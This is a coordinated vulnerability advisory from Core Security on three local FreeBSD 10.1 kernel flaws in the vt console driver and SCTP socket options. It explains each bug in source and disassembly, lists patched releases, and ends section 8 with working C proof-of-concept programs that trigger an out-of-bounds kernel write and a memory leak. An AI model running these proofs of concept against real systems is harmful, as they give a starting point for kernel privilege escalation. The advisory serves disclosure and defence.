FreeBSD Kernel Multiple Vulnerabilities
1. Advisory Information
Title: FreeBSD Kernel Multiple Vulnerabilities
Advisory ID: CORE-2015-0003
Advisory URL: www.coresecurity.com/core-labs/advisories/freebsd-kernel-multiple-vulnerabilities
Date published: 2015-01-27
Date of last update: 2015-01-27
Vendors contacted: FreeBSD
Release mode: Coordinated release
2. Vulnerability Information
Class: Unsigned to Signed Conversion Error [CWE-196], Improper Validation of Array Index [CWE-129], Improper Validation of Array Index [CWE-129]
Impact: Code execution, Denial of service
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2014-0998, CVE-2014-8612, CVE-2014-8612
3. Vulnerability Description
FreeBSD is an advanced computer operating system used to power modern servers, desktops and embedded platforms. A large community has continually developed it for more than thirty years. Its advanced networking, security and storage features have made FreeBSD the platform of choice for many of the busiest web sites and most pervasive embedded networking and storage devices.
Multiple vulnerabilities have been found in the FreeBSD kernel code that implements the vt console driver (previously known as Newcons) and the code that implements SCTP sockets. These vulnerabilities could allow local unprivileged attackers to disclose kernel memory containing sensitive information, crash the system, and execute arbitrary code with superuser privileges.
4. Vulnerable packages
- FreeBSD 10.1-RELEASE.
Other versions may be affected too but they were no checked.
5. Non-vulnerable packages
- FreeBSD 10.1-RELENG.
6. Vendor Information, Solutions and Workarounds
The FreeBSD team has released patches for the reported vulnerabilities. You should upgrade to FreeBSD 10.1-RELENG or one of the following releases:
- stable/10, 10.1-STABLE
- releng/10.1, 10.1-RELEASE-p5
- releng/10.0, 10.0-RELEASE-p17
- stable/9, 9.3-STABLE
- releng/9.3, 9.3-RELEASE-p9
- stable/8, 8.4-STABLE
- releng/8.4, 8.4-RELEASE-p23
The vendor publish a security Advisory that can be accessed here[6].
7. Credits
This vulnerability was discovered and researched by Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Advisories Team.
8. Technical Description / Proof of Concept Code
8.1. FreeBSD vt Driver VT_WAITACTIVE Sign Conversion Vulnerability
[CVE-2014-0998] FreeBSD 10.1-RELEASE added[1] the vt(4)
[2] console driver (previously known as Newcons[3]). This new console driver can be enabled by adding the line kern.vty=vt
to the /boot/loader.conf
file and then rebooting the system.
The vt console driver is prone to a sign conversion error when handling the VT_WAITACTIVE
ioctl message, which can be ultimately leveraged by a local unprivileged attacker to make the kernel access an array outside of its boundaries.
The vt console driver provides multiple virtual terminals, which are mapped to the /dev/ttyv*
device nodes. A user can send messages to the vt driver by opening the /dev/ttyv*
device node belonging to his virtual terminal and then using the ioctl
system call.
The function vtterm_ioctl
in sys/dev/vt/vt_core.c
handles ioctl messages sent to the vt driver. One of the supported messages is called VT_WAITACTIVE
:
static int vtterm_ioctl(struct terminal *tm, u_long cmd, caddr_t data, struct thread *td) { int error, i, s; [...] switch (cmd) { [...] case VT_WAITACTIVE: error = 0; i = *(unsigned int *)data; if (i > VT_MAXWINDOWS) return (EINVAL); if (i != 0) vw = vd->vd_windows[i - 1]; [...]
As shown above, when handling the VT_WAITACTIVE
ioctl message, the data
input buffer (which is fully controlled by the local user) is casted as (unsigned int *)
in order to read an unsigned int
from the input data; however, the read value is stored in the i
variable, which has signed type int
.
This sign conversion error will make possible for a local attacker to bypass the subsequent boundary check that tries to ensure that i
is not greater than VT_MAXWINDOWS
before using it as an index to access the vd->vd_windows
array. This flaw can be leveraged by a local attacker to make the kernel access the vd->vd_windows
array outside of its boundaries.
The following disassembly snippet represents the vulnerable code in the FreeBSD kernel binary (/boot/kernel/kernel
):
vtterm_ioctl+1306 loc_C09B2506: ; CODE XREF: vtterm_ioctl+D6Cj vtterm_ioctl+1306 cmp esi, 20047606h ; case VT_WAITACTIVE: vtterm_ioctl+130C mov ecx, edx ; ecx = vd->vd_windows vtterm_ioctl+130E mov eax, ebx vtterm_ioctl+1310 jnz loc_C09B275B vtterm_ioctl+1316 mov eax, [eax] ; i = *(unsigned int *)data; vtterm_ioctl+1318 cmp eax, 0Ch ; if (i > VT_MAXWINDOWS)... vtterm_ioctl+131B mov edi, 16h vtterm_ioctl+1320 jg loc_C09B2760 ; *** signed comparison! vtterm_ioctl+1326 test eax, eax ; if (i != 0)... vtterm_ioctl+1328 jz short loc_C09B2531 vtterm_ioctl+132A mov eax, [ecx+eax*4-4] ; **** vw = vd->vd_windows[i - 1]; ---> access vd->vd_windows outside of its boundaries vtterm_ioctl+132E mov [ebp+var_30], eax
8.2. FreeBSD SCTP Socket SCTP_SS_VALUE Memory Corruption Vulnerability
[CVE-2014-8612]FreeBSD implements the Stream Control Transmission Protocol (SCTP).[4]. A userland application can use the getsockopt/setsockopt
system calls in order to manipulate the options associated with an SCTP socket.
The FreeBSD kernel is prone to a memory corruption vulnerability when setting the SCTP_SS_VALUE
SCTP socket option via the setsockopt
system call. This vulnerability can be leveraged by a local unprivileged attacker to corrupt kernel memory with an arbitrary 16-bit value.
The handling of the setsockopt
system call at the SCTP level is performed by the function sctp_setopt
[file sys/netinet/sctp_userreq.c
]:
static int sctp_setopt(struct socket *so, int optname, void *optval, size_t optsize, void *p) { [...] switch (optname) { [...] case SCTP_SS_VALUE: { struct sctp_stream_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_stream_value, optsize); SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { if (stcb->asoc.ss_functions.sctp_ss_set_value(stcb, &stcb->asoc, &stcb->asoc.strmout[av->stream_id], av->stream_value) < 0) {
As shown above, when handling the SCTP_SS_VALUE
socket option, the optval
option value (which is fully controlled by the local user), is casted to the struct sctp_stream_value *
type and stored into the av
variable by using the SCTP_CHECK_AND_CAST
macro. After that, if the sctb
pointer is not NULL
(condition that can be achieved by having the SCTP socket in a connected state), then the stcb->asoc.ss_functions.sctp_ss_set_value
function pointer is called. The third argument for this function is &stcb->asoc.strmout[av->stream_id]
. As can be seen, the unstrusted av->stream_id
value (which is fully controlled by the local attacker) is used as an index within the stcb->asoc.strmout
array without properly checking if it's within the bounds of the array.
However, note that the memory address calculated using the untrusted index is not dereferenced yet; just the calculated address is passed as an argument to the function, so there is still no memory access at this point.
stcb->asoc.ss_functions
has type struct sctp_ss_functions
, which is a struct defined in the file sys/netinet/sctp_structs.h
containing several function pointers. One of its members is sctp_ss_set_value
, which is the one being called when handling the SCTP_SS_VALUE
socket option:
/* * RS - Structure to hold function pointers to the functions responsible * for stream scheduling. */ struct sctp_ss_functions { void (*sctp_ss_init) (struct sctp_tcb *stcb, struct sctp_association *asoc, int holds_lock); void (*sctp_ss_clear) (struct sctp_tcb *stcb, struct sctp_association *asoc, int clear_values, int holds_lock); void (*sctp_ss_init_stream) (struct sctp_stream_out *strq, struct sctp_stream_out *with_strq); void (*sctp_ss_add_to_stream) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, struct sctp_stream_queue_pending *sp, int holds_lock); int (*sctp_ss_is_empty) (struct sctp_tcb *stcb, struct sctp_association *asoc); void (*sctp_ss_remove_from_stream) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, struct sctp_stream_queue_pending *sp, int holds_lock); struct sctp_stream_out *(*sctp_ss_select_stream) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc); void (*sctp_ss_scheduled) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc, struct sctp_stream_out *strq, int moved_how_much); void (*sctp_ss_packet_done) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc); int (*sctp_ss_get_value) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t * value); int (*sctp_ss_set_value) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t value); };
The file sys/netinet/sctp_ss_functions.c
defines an array called sctp_ss_functions
; each element of this array has type struct sctp_ss_functions
and defines a set of function pointers suitable for different SCTP socket options:
struct sctp_ss_functions sctp_ss_functions[] = { /* SCTP_SS_DEFAULT */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_default_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_default_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_ROUND_ROBIN */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_rr_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_default_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_ROUND_ROBIN_PACKET */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_rr_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_rrp_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_rrp_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_PRIORITY */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_prio_clear, .sctp_ss_init_stream = sctp_ss_prio_init_stream, .sctp_ss_add_to_stream = sctp_ss_prio_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_prio_remove, .sctp_ss_select_stream = sctp_ss_prio_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_prio_get_value, .sctp_ss_set_value = sctp_ss_prio_set_value }, /* SCTP_SS_FAIR_BANDWITH */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_fb_clear, .sctp_ss_init_stream = sctp_ss_fb_init_stream, .sctp_ss_add_to_stream = sctp_ss_fb_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_fb_remove, .sctp_ss_select_stream = sctp_ss_fb_select, .sctp_ss_scheduled = sctp_ss_fb_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_FIRST_COME */ { .sctp_ss_init = sctp_ss_fcfs_init, .sctp_ss_clear = sctp_ss_fcfs_clear, .sctp_ss_init_stream = sctp_ss_fcfs_init_stream, .sctp_ss_add_to_stream = sctp_ss_fcfs_add, .sctp_ss_is_empty = sctp_ss_fcfs_is_empty, .sctp_ss_remove_from_stream = sctp_ss_fcfs_remove, .sctp_ss_select_stream = sctp_ss_fcfs_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value } };
Note that the value for the sctp_ss_set_value
field is almost always set to sctp_ss_default_set_value
, which is just a dummy function defined in sys/netinet/sctp_ss_functions.c
:
static int sctp_ss_default_set_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq SCTP_UNUSED, uint16_t value SCTP_UNUSED) { /* Nothing to be done here */ return (-1); }
The only case in which the sctp_ss_set_value
field is set to a different value is in the 4th element of the array, which corresponds to the SCTP_SS_PRIORITY
socket option; in that case, the function pointer is set to sctp_ss_prio_set_value
, which is a function defined in sys/netinet/sctp_ss_functions.c
:
static int sctp_ss_prio_set_value(struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t value) { if (strq == NULL) { return (-1); } strq->ss_params.prio.priority = value; sctp_ss_prio_remove(stcb, asoc, strq, NULL, 1); sctp_ss_prio_add(stcb, asoc, strq, NULL, 1); return (1); }
The value
parameter is fully controlled by the attacker, and the actual value of the strq
pointer parameter is the address &stcb->asoc.strmout[av->stream_id]
in which the attacker can set the av->stream_id
index beyond the boundaries of the array, so this function will provide a write-what-where memory corruption primitive when doing the strq->ss_params.prio.priority = value
assignment. This memory corruption vulnerability allows a local unprivileged attacker to overwrite kernel memory outside of the stcb->asoc.strmout
array with an arbitrary uint16_t
value.
In order to make use of the sctp_ss_prio_set_value
function, the attacker needs to set up the stcb->asoc.ss_functions
struct with the function pointers belonging to the SCTP_SS_PRIORITY
socket option. This can be done by hitting the following code in the sctp_setopt
function; as can be seen, the stcb->asoc.ss_functions
struct can be properly set up for the attack by setting an SCTP_PLUGGABLE_SS
socket option with an option value of type struct sctp_assoc_value
having its assoc_value
field set to SCTP_SS_PRIORITY
(see the stcb->asoc.ss_functions = sctp_ss_functions[av->assoc_value]
statement):
case SCTP_PLUGGABLE_SS: { struct sctp_assoc_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_assoc_value, optsize); /* Checks if av->assoc_value is a valid index within the sctp_ss_functions array */ if ((av->assoc_value != SCTP_SS_DEFAULT) && (av->assoc_value != SCTP_SS_ROUND_ROBIN) && (av->assoc_value != SCTP_SS_ROUND_ROBIN_PACKET) && (av->assoc_value != SCTP_SS_PRIORITY) && (av->assoc_value != SCTP_SS_FAIR_BANDWITH) && (av->assoc_value != SCTP_SS_FIRST_COME)) { SCTP_LTRACE_ERR_RET(inp, NULL, NULL, SCTP_FROM_SCTP_USRREQ, EINVAL); error = EINVAL; break; } SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { stcb->asoc.ss_functions.sctp_ss_clear(stcb, &stcb->asoc, 1, 1); /* The function pointers struct is set up here!!! */ stcb->asoc.ss_functions = sctp_ss_functions[av->assoc_value]; stcb->asoc.stream_scheduling_module = av->assoc_value; stcb->asoc.ss_functions.sctp_ss_init(stcb, &stcb->asoc, 1); SCTP_TCB_UNLOCK(stcb);
8.3. FreeBSD SCTP Socket SCTP_SS_VALUE Kernel Memory Disclosure Vulnerability
[CVE-2014-8612]The third vulnerability is closely related to the second one. The FreeBSD kernel is prone to a kernel memory disclosure when reading the value of the SCTP_SS_VALUE
SCTP socket option via the getsockopt
system call, which allows local unprivileged attackers to read 16-bit values belonging to the kernel memory space.
The handling of the getsockopt
system call at the SCTP level is performed by the function sctp_getopt
[file sys/netinet/sctp_userreq.c
]:
static int sctp_getopt(struct socket *so, int optname, void *optval, size_t *optsize, void *p) { [...] switch (optname) { [...] case SCTP_SS_VALUE: { struct sctp_stream_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_stream_value, *optsize); SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { if (stcb->asoc.ss_functions.sctp_ss_get_value(stcb, &stcb->asoc, &stcb->asoc.strmout[av->stream_id], &av->stream_value) < 0) {
When handling the SCTP_SS_VALUE
socket option, the optval
option value (which is fully controlled by the local attacker), is casted to the struct sctp_stream_value *
type and stored into the av
variable by using the SCTP_CHECK_AND_CAST
macro. After that, if the sctb
pointer is not NULL
(condition that can be achieved by having the SCTP socket in a connected state), the stcb->asoc.ss_functions.sctp_ss_get_value
function pointer is called. The third argument for this function is &stcb->asoc.strmout[av->stream_id]
. As can be seen, the unstrusted av->stream_id
value (which is fully controlled by the local attacker) is used as an index within the stcb->asoc.strmout
array without properly checking if it's within the bounds of the array.
The default value for the sctp_ss_get_value
function pointer is sctp_ss_default_get_value
, which is just a dummy function defined in sys/netinet/sctp_ss_functions.c
:
static int sctp_ss_default_get_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq SCTP_UNUSED, uint16_t * value SCTP_UNUSED) { /* Nothing to be done here */ return (-1); }
The only useful possible value for this function pointer is sctp_ss_prio_get_value
, which belongs to the function pointers of the SCTP_SS_PRIORITY
socket option:
static int sctp_ss_prio_get_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq, uint16_t * value) { if (strq == NULL) { return (-1); } *value = strq->ss_params.prio.priority; return (1); }
The actual value of the strq
pointer parameter is the address &stcb->asoc.strmout[av->stream_id]
in which the attacker can set the av->stream_id
index beyond the boundaries of the array, so this function will allow a local unprivileged attacker to read an uint16_t
value belonging to the kernel memory outside of the stcb->asoc.strmout
array when doing the *value = strq->ss_params.prio.priority
assignment.
In order to make use of the sctp_ss_prio_get_value
function, the attacker needs to set up the stcb->asoc.ss_functions
struct with the function pointers belonging to the SCTP_SS_PRIORITY
socket option, as it was previously explained for the second vulnerability.
8.4. Proof of Concept
The following code is a Proof of Concept for the first vulnerability:
#include <stdio.h> #include <sys/consio.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ int fd; printf("** FreeBSD vt Driver VT_WAITACTIVE Sign Conversion Vulnerability PoC **\n"); if (argc < 2){ printf("\nUsage: ./poc_vt </dev/ttyv*>, where ttyv* is your current virtual terminal.\n"); printf("\nExample: ./poc_vt /dev/ttyv1\n\n"); exit(1); } fd = open(argv[1], O_RDONLY); if (fd == -1){ perror("open"); exit(1); } /* 0x90919293 is a negative number when it's interpreted as a signed int, thus it will bypass the * (signed) boundary check that tries to guarantee that this value is not greater than VT_MAXWINDOWS (12). * This value will be ultimately used as an index to access the vd->vd_windows array. */ if (ioctl(fd, VT_WAITACTIVE, (void *) 0x90919293) == -1){ perror("ioctl"); } close(fd); return 0; }
The following code is a Proof of Concept for the second vulnerability:
#include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <netinet/sctp_uio.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd; struct sockaddr_in addr; struct sctp_initmsg init; struct sctp_stream_value stream_value; struct sctp_assoc_value assoc_value; socklen_t opt_len; printf("** FreeBSD SCTP Socket SCTP_SS_VALUE Memory Corruption Vulnerability PoC **\n"); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&init, 0, sizeof(init)); init.sinit_num_ostreams = 2048; if (setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, (socklen_t)sizeof(struct sctp_initmsg)) < 0) { perror("SCTP_INITMSG"); goto out; } memset(&addr, 0, sizeof(addr)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("connect"); goto out; } /* Set up the stcb->asoc.ss_functions struct with the function pointers belonging to the SCTP_SS_PRIORITY socket option */ memset(&assoc_value, 0, sizeof(assoc_value)); assoc_value.assoc_value = SCTP_SS_PRIORITY; assoc_value.assoc_id = SCTP_CURRENT_ASSOC; if (setsockopt(fd, IPPROTO_SCTP, SCTP_PLUGGABLE_SS, &assoc_value, (socklen_t)sizeof(struct sctp_assoc_value)) < 0){ perror("setting up function pointers"); goto out; } memset(&stream_value, 0, sizeof(stream_value)); stream_value.assoc_id = SCTP_CURRENT_ASSOC; /* * stream_id will be used as an index into the stcb->asoc.strmout array without performing bounds checking. * stream_value will be written to the calculated address. */ stream_value.stream_id = 0xFFFF; stream_value.stream_value = 0x4142; /* Triggering the vulnerability... */ if (setsockopt(fd, IPPROTO_SCTP, SCTP_SS_VALUE, &stream_value, (socklen_t)sizeof(struct sctp_stream_value)) < 0){ perror("triggering the vulnerability"); goto out; } out: if (close(fd) < 0) { perror("close"); } return(0); }
The following code is a Proof of Concept for the third vulnerability:
#include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <netinet/sctp_uio.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd; struct sockaddr_in addr; struct sctp_initmsg init; struct sctp_stream_value stream_value; struct sctp_assoc_value assoc_value; socklen_t opt_len; printf("** FreeBSD SCTP Socket SCTP_SS_VALUE Kernel Memory Disclosure Vulnerability **\n"); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&init, 0, sizeof(init)); init.sinit_num_ostreams = 2048; if (setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, (socklen_t)sizeof(struct sctp_initmsg)) < 0) { perror("SCTP_INITMSG"); goto out; } memset(&addr, 0, sizeof(addr)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("connect"); goto out; } /* Set up the stcb->asoc.ss_functions struct with the function pointers belonging to the SCTP_SS_PRIORITY socket option */ memset(&assoc_value, 0, sizeof(assoc_value)); assoc_value.assoc_value = SCTP_SS_PRIORITY; assoc_value.assoc_id = SCTP_CURRENT_ASSOC; if (setsockopt(fd, IPPROTO_SCTP, SCTP_PLUGGABLE_SS, &assoc_value, (socklen_t)sizeof(struct sctp_assoc_value)) < 0){ perror("setting up function pointers"); goto out; } memset(&stream_value, 0, sizeof(stream_value)); opt_len = sizeof(stream_value); stream_value.assoc_id = SCTP_CURRENT_ASSOC; /* stream_id will be used as an index into the stcb->asoc.strmout array without performing bounds checking. */ stream_value.stream_id = 0x400; /* Triggering the vulnerability... */ if (getsockopt(fd, IPPROTO_SCTP, SCTP_SS_VALUE, &stream_value, &opt_len) < 0){ perror("triggering the vulnerability"); goto out; } printf("[*] Value leaked from kernel: 0x%04X\n", stream_value.stream_value); out: if (close(fd) < 0) { perror("close"); } return(0); }
Note that both the second and third PoCs try to connect to a dummy SCTP server listening on localhost on port 4444, since the SCTP socket needs to be in a connected
state in order to trigger the vulnerabilities. The following code, based on the example code published here[5], can be used to run a simple SCTP server listening on port 4444:
#include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <unistd.h> #define BUFFER_SIZE (1<<16) #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd, n, flags; struct sockaddr_in addr; socklen_t from_len; struct sctp_sndrcvinfo sinfo; char buffer[BUFFER_SIZE]; struct sctp_event_subscribe event; if ((fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&event, 1, sizeof(struct sctp_event_subscribe)); if (setsockopt(fd, IPPROTO_SCTP, SCTP_EVENTS, &event, sizeof(struct sctp_event_subscribe)) < 0) { perror("setsockopt"); goto out; } memset(&addr, 0, sizeof(struct sockaddr_in)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (bind(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("bind"); goto out; } if (listen(fd, 1) < 0) { perror("listen"); goto out; } while (1) { flags = 0; memset(&addr, 0, sizeof(struct sockaddr_in)); from_len = (socklen_t)sizeof(struct sockaddr_in); memset(&sinfo, 0, sizeof(struct sctp_sndrcvinfo)); n = sctp_recvmsg(fd, (void *)buffer, BUFFER_SIZE, (struct sockaddr *)&addr, &from_len, &sinfo, &flags); if (flags & MSG_NOTIFICATION) { printf("Notification received.\n"); } else { printf("Msg of length %d received from %s:%u on stream %d, PPID %d.\n", n, inet_ntoa(addr.sin_addr), ntohs(addr.sin_port),sinfo.sinfo_stream, ntohl(sinfo.sinfo_ppid)); } } out: if (close(fd) < 0) { perror("close"); } return (0); }
9. Report Timeline
- 2015-01-15: Initial notification sent to FreeBSD. Publication date set to Feb 16, 2015.
- 2015-01-15: FreeBSD confirms reception of the report and requests the draft version of the advisory. They clarify that they usually aim for Tuesday releases depending on the severity of the problem.
- 2015-01-15: Core Security sends a draft version of the advisory to the vendor and requests to be informed once they finish reviewing the vulnerabilities.
- 2015-01-26: Core Security requests a status report regarding their review of the vulnerabilities and the estimated publication date.
- 2015-01-26: FreeBSD confirms the bugs, but informs us that they'll only publish a security advisory for the SCTP Socket SCTP_SS_VALUE Memory Corruption and Kernel Memory Disclosure vulnerabilities. For the "vt Driver VT_WAITACTIVE Sign Conversion Vulnerability" they will commit a normal change and then release an "Errata Notice" informing the fix. They set the publication date for 27th January, 2015.
- 2015-01-26: Core Security informs that understands their position regarding the vt Driver VT_WAITACTIVE Sign Conversion issue, but we will nevertheless publish thew bug in the advisory because we consider it a vulnerability. We accepted their offer of sharing CVE IDs.
- 2015-01-26: FreeBSD confirms they have available CVE IDs and ask if we want to use IDs from 2014 or 2015.
- 2015-01-27: FreeBSD informs us that after going through their mail archive they found out that the same issue was reported by Google and that they missed it. They inform us that they will use only one CVE ID for the two SCTP issues because they state they are of the same nature.
- 2015-01-27: Core Security informs that will assign a the CVE ID CVE-2014-0998 to the vt(4) vulnerability and we requested the date and time they plan to release the fix and advisory.
- 2015-01-27: FreeBSD informs they will publ
- 2015-01-27: Core Security informs that will assign a the CVE ID CVE-2014-0998 to the vt(4) vulnerability and we requested the date and time they plan to release the fix and advisory.
- 2015-01-27: FreeBSD informs they will publish the fix and advisory today.
- 2015-01-27: Advisory CORE-2015-0003 published.
-
10. References
[1] https://www.freebsd.org/releases/10.1R/relnotes.html#new
[2] https://www.freebsd.org/cgi/man.cgi?query=vt&sektion=4
[3] https://wiki.freebsd.org/Newcons
[4] https://www.freebsd.org/cgi/man.cgi?query=sctp&sektion=4
[5] http://www.bsdcan.org/2008/schedule/attachments/44_bsdcan_sctp.pdf
[6] https://security.FreeBSD.org/advisories/FreeBSD-SA-15:02.kmem.asc11. About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: www.coresecurity.com/core-labs
12. About Core Security
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security can be reached on the Web at: https://www.coresecurity.com.
13. Disclaimer
The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/